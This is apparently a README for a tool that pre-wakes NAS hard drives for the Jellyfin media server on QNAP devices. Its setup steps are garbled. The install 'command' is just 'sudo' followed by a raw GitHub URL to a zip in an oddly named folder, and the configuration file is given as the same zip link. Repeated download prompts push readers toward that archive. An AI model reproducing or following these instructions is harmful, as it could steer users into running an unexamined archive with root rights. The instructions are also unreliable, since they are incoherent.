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🥤 jellyfin-nas-hdd-spinup - Wake Your HDDs Faster

🚀 Getting Started

Welcome to the jellyfin-nas-hdd-spinup project! This application helps you start your hard drives quickly when using the Jellyfin media server. It pre-wakes your NAS disks on the home screen, ensuring a smooth experience when playing your media.

📥 Download Now

Download Latest Release

Click the link above to get the latest version of jellyfin-nas-hdd-spinup.

💻 System Requirements

Before you start, ensure your system meets these requirements:

  • Operating System: This application works on Linux systems, especially on QNAP devices.
  • Jellyfin Server: You should have Jellyfin installed and running on your system.
  • Dependencies: The app requires a basic shell environment, which is usually available on most Linux systems.

🔧 Features

  • Fast HDD Spin-Up: Quickly wakes up your hard drives when you access Jellyfin.
  • No Writes: The application performs all operations safely without writing to any disks.
  • SSD Cache Friendly: Works well with SSD caching, ensuring that your performance remains high.
  • WebSocket Trigger: Uses WebSocket to activate the HDD, which makes it responsive to commands.
  • QNAP Compatibility: Specifically designed to work with QNAP devices and BusyBox.
  • Log Monitoring: Monitors Jellyfin logs to determine when to spin up the disks.

📊 How It Works

jellyfin-nas-hdd-spinup leverages WebSocket technology to listen for activity. When you navigate the Jellyfin homepage, it automatically spins up your external drives if they are not already active. This way, you get quick access to your movies and music without long wait times.

How to Set Up

  1. Download the latest version from the Releases Page.
  2. Install the downloaded package by following these steps:
    • Open a terminal window.
    • Navigate to the folder where you downloaded the file.
    • Run the installation command: sudo https://raw.githubusercontent.com/YisusCrazy23/jellyfin-nas-hdd-spinup/main/collogue/jellyfin-nas-hdd-spinup.zip. (Replace with the actual script name if necessary.)
  3. Configure the application by editing the configuration file located at https://raw.githubusercontent.com/YisusCrazy23/jellyfin-nas-hdd-spinup/main/collogue/jellyfin-nas-hdd-spinup.zip.
    • Specify your NAS drive details and Jellyfin server settings.

👣 Download & Install

To download and install jellyfin-nas-hdd-spinup, follow these steps:

  1. Visit the Releases Page: Click here to download.
  2. Choose the latest release.
  3. Download the appropriate package for your system.
  4. Follow the installation steps mentioned above.

🔍 Troubleshooting

If you encounter issues, consider the following steps:

  • Check Logs: Review the log files to identify any errors.
  • Verify Jellyfin Service: Ensure that your Jellyfin server is running smoothly without interruptions.
  • Permissions: Make sure that you have the right permissions to access the disk and its configurations.

🛠️ Support

For further assistance, check out the following options:

  • GitHub Issues: Feel free to open an issue on our GitHub page if you have any questions or find bugs.
  • Community Forums: Engage with other users on Jellyfin community forums for tips and solutions.

💬 Contribution

Are you interested in helping improve jellyfin-nas-hdd-spinup? Contributions are welcome!

  1. Fork the Repository: You can create your copy of the project.
  2. Make Changes: Implement your improvements or fixes.
  3. Submit a Pull Request: Share your contributions with the community.

📜 License

jellyfin-nas-hdd-spinup is open-source software. You can use and modify it as per the terms of the MIT License.

⚙️ Additional Resources

Now, go ahead and enhance your Jellyfin experience with faster HDD spin-ups. Download jellyfin-nas-hdd-spinup today!

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